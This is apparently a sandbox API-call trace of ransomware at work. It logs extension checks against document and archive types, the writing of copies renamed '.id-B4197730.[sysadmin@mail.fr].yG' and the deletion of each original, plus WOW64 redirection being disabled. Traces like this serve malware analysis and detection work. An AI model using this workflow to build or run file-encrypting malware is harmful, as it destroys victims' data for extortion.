	[0177.730] lstrlenW (lpString=".dbf") returned 4
	[0177.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0177.730] lstrlenW (lpString=".1cd") returned 4
	[0177.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0177.730] lstrlenW (lpString=".jpg") returned 4
	[0177.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.731] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5960) returned 1
	[0177.731] CloseHandle (hObject=0x470) returned 1
	[0177.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220
	[0177.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.733] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.733] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0177.734] GetLastError () returned 0x0
	[0177.734] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1748, lpOverlapped=0x0) returned 1
	[0177.771] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0177.772] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.772] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.773] SetEndOfFile (hFile=0x418) returned 1
	[0177.773] CloseHandle (hObject=0x418) returned 1
	[0177.773] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.773] SetEndOfFile (hFile=0x470) returned 1
	[0177.776] CloseHandle (hObject=0x470) returned 1
	[0177.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1
	[0177.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.778] lstrlenW (lpString=".doc") returned 4
	[0177.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.778] lstrlenW (lpString=".docx") returned 5
	[0177.778] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.778] lstrlenW (lpString=".pdf") returned 4
	[0177.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.778] lstrlenW (lpString=".xls") returned 4
	[0177.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.778] lstrlenW (lpString=".xlsx") returned 5
	[0177.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.778] lstrlenW (lpString=".ppt") returned 4
	[0177.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.778] lstrlenW (lpString=".zip") returned 4
	[0177.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.779] lstrlenW (lpString=".rar") returned 4
	[0177.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.779] lstrlenW (lpString=".bz2") returned 4
	[0177.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.779] lstrlenW (lpString=".7z") returned 3
	[0177.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.779] lstrlenW (lpString=".dbf") returned 4
	[0177.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.779] lstrlenW (lpString=".1cd") returned 4
	[0177.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0177.779] lstrlenW (lpString=".jpg") returned 4
	[0177.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.782] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=26248) returned 1
	[0177.782] CloseHandle (hObject=0x470) returned 1
	[0177.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220
	[0177.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.783] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.783] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0177.784] GetLastError () returned 0x0
	[0177.784] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x6688, lpOverlapped=0x0) returned 1
	[0177.820] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x6690, lpOverlapped=0x0) returned 1
	[0177.821] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.821] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.822] SetEndOfFile (hFile=0x418) returned 1
	[0177.822] CloseHandle (hObject=0x418) returned 1
	[0177.822] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.822] SetEndOfFile (hFile=0x470) returned 1
	[0177.825] CloseHandle (hObject=0x470) returned 1
	[0177.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1
	[0177.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.827] lstrlenW (lpString=".doc") returned 4
	[0177.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.827] lstrlenW (lpString=".docx") returned 5
	[0177.827] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.827] lstrlenW (lpString=".pdf") returned 4
	[0177.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.827] lstrlenW (lpString=".xls") returned 4
	[0177.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.827] lstrlenW (lpString=".xlsx") returned 5
	[0177.827] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.827] lstrlenW (lpString=".ppt") returned 4
	[0177.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.827] lstrlenW (lpString=".zip") returned 4
	[0177.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.828] lstrlenW (lpString=".rar") returned 4
	[0177.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.828] lstrlenW (lpString=".bz2") returned 4
	[0177.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.828] lstrlenW (lpString=".7z") returned 3
	[0177.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.828] lstrlenW (lpString=".dbf") returned 4
	[0177.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.828] lstrlenW (lpString=".1cd") returned 4
	[0177.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0177.828] lstrlenW (lpString=".jpg") returned 4
	[0177.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.846] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=34676) returned 1
	[0177.846] CloseHandle (hObject=0x33c) returned 1
	[0177.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220
	[0177.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.847] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.847] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.848] GetLastError () returned 0x0
	[0177.848] ReadFile (in: hFile=0x33c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x8774, lpOverlapped=0x0) returned 1
	[0177.865] WriteFile (in: hFile=0x398, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x8780, lpOverlapped=0x0) returned 1
	[0177.867] ReadFile (in: hFile=0x33c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.867] WriteFile (in: hFile=0x398, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.868] SetEndOfFile (hFile=0x398) returned 1
	[0177.868] CloseHandle (hObject=0x398) returned 1
	[0177.868] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.868] SetEndOfFile (hFile=0x33c) returned 1
	[0177.921] CloseHandle (hObject=0x33c) returned 1
	[0177.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.958] lstrlenW (lpString=".doc") returned 4
	[0177.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".docx") returned 5
	[0177.958] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.958] lstrlenW (lpString=".pdf") returned 4
	[0177.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".xls") returned 4
	[0177.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.958] lstrlenW (lpString=".xlsx") returned 5
	[0177.958] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.958] lstrlenW (lpString=".ppt") returned 4
	[0177.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.958] lstrlenW (lpString=".zip") returned 4
	[0177.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.958] lstrlenW (lpString=".rar") returned 4
	[0177.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".bz2") returned 4
	[0177.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".7z") returned 3
	[0177.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.959] lstrlenW (lpString=".dbf") returned 4
	[0177.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.959] lstrlenW (lpString=".1cd") returned 4
	[0177.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0177.959] lstrlenW (lpString=".jpg") returned 4
	[0177.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5967d0 | out: hHeap=0x4f0000) returned 1
	[0177.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x4f0000) returned 1
	[0177.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5ccf88 | out: hHeap=0x4f0000) returned 1
	[0177.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3860048 | out: hHeap=0x4f0000) returned 1
	[0177.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3966020 | out: hHeap=0x4f0000) returned 1
	[0177.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5967b8 | out: hHeap=0x4f0000) returned 1
	[0177.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592278
	[0177.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592278, Size=0x20) returned 0x45b0430
	[0177.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0177.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b04a8
	[0177.968] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.968] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.000] Wow64DisableWow64FsRedirection (in: OldValue=0x2d3ff50 | out: OldValue=0x2d3ff50*=0x1) returned 1
	[0178.000] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b04a8 | out: hHeap=0x4f0000) returned 1
	[0178.019] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0430 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 44
	os_tid = 0xe24

	[0132.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3870720
	[0132.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3880728
	[0132.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596800
	[0132.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54d0f0
	[0132.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5969f8
	[0132.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3a75020
	[0132.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5969b0
	[0132.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5969b0, Size=0x20) returned 0x52db80
	[0132.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596a58
	[0132.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596a58, Size=0x20) returned 0x52dd10
	[0132.675] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.675] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.675] Wow64DisableWow64FsRedirection (in: OldValue=0x2e7ff50 | out: OldValue=0x2e7ff50*=0x0) returned 1
	[0132.675] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db80 | out: hHeap=0x4f0000) returned 1
	[0132.675] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd10 | out: hHeap=0x4f0000) returned 1
	[0132.675] Sleep (dwMilliseconds=0x64) 
	[0133.182] lstrcmpiW (lpString1=".ini", lpString2=".yG") returned -1
	[0133.182] lstrlenW (lpString="desktop.ini") returned 11
	[0133.182] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0133.182] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=129) returned 1
	[0133.182] CloseHandle (hObject=0x2a0) returned 1
	[0133.182] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0133.182] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg")) returned 0x26
	[0133.184] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.184] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.184] lstrlenW (lpString=".doc") returned 4
	[0133.184] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0133.184] lstrlenW (lpString=".docx") returned 5
	[0133.184] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0133.184] lstrlenW (lpString=".pdf") returned 4
	[0133.184] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0133.184] lstrlenW (lpString=".xls") returned 4
	[0133.184] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0133.184] lstrlenW (lpString=".xlsx") returned 5
	[0133.184] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0133.184] lstrlenW (lpString=".ppt") returned 4
	[0133.184] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0133.184] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.184] lstrlenW (lpString=".zip") returned 4
	[0133.184] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0133.184] lstrlenW (lpString=".rar") returned 4
	[0133.185] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0133.185] lstrlenW (lpString=".bz2") returned 4
	[0133.185] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0133.185] lstrlenW (lpString=".7z") returned 3
	[0133.185] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0133.185] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.185] lstrlenW (lpString=".dbf") returned 4
	[0133.185] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0133.185] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.185] lstrlenW (lpString=".1cd") returned 4
	[0133.185] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0133.185] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.185] lstrlenW (lpString=".jpg") returned 4
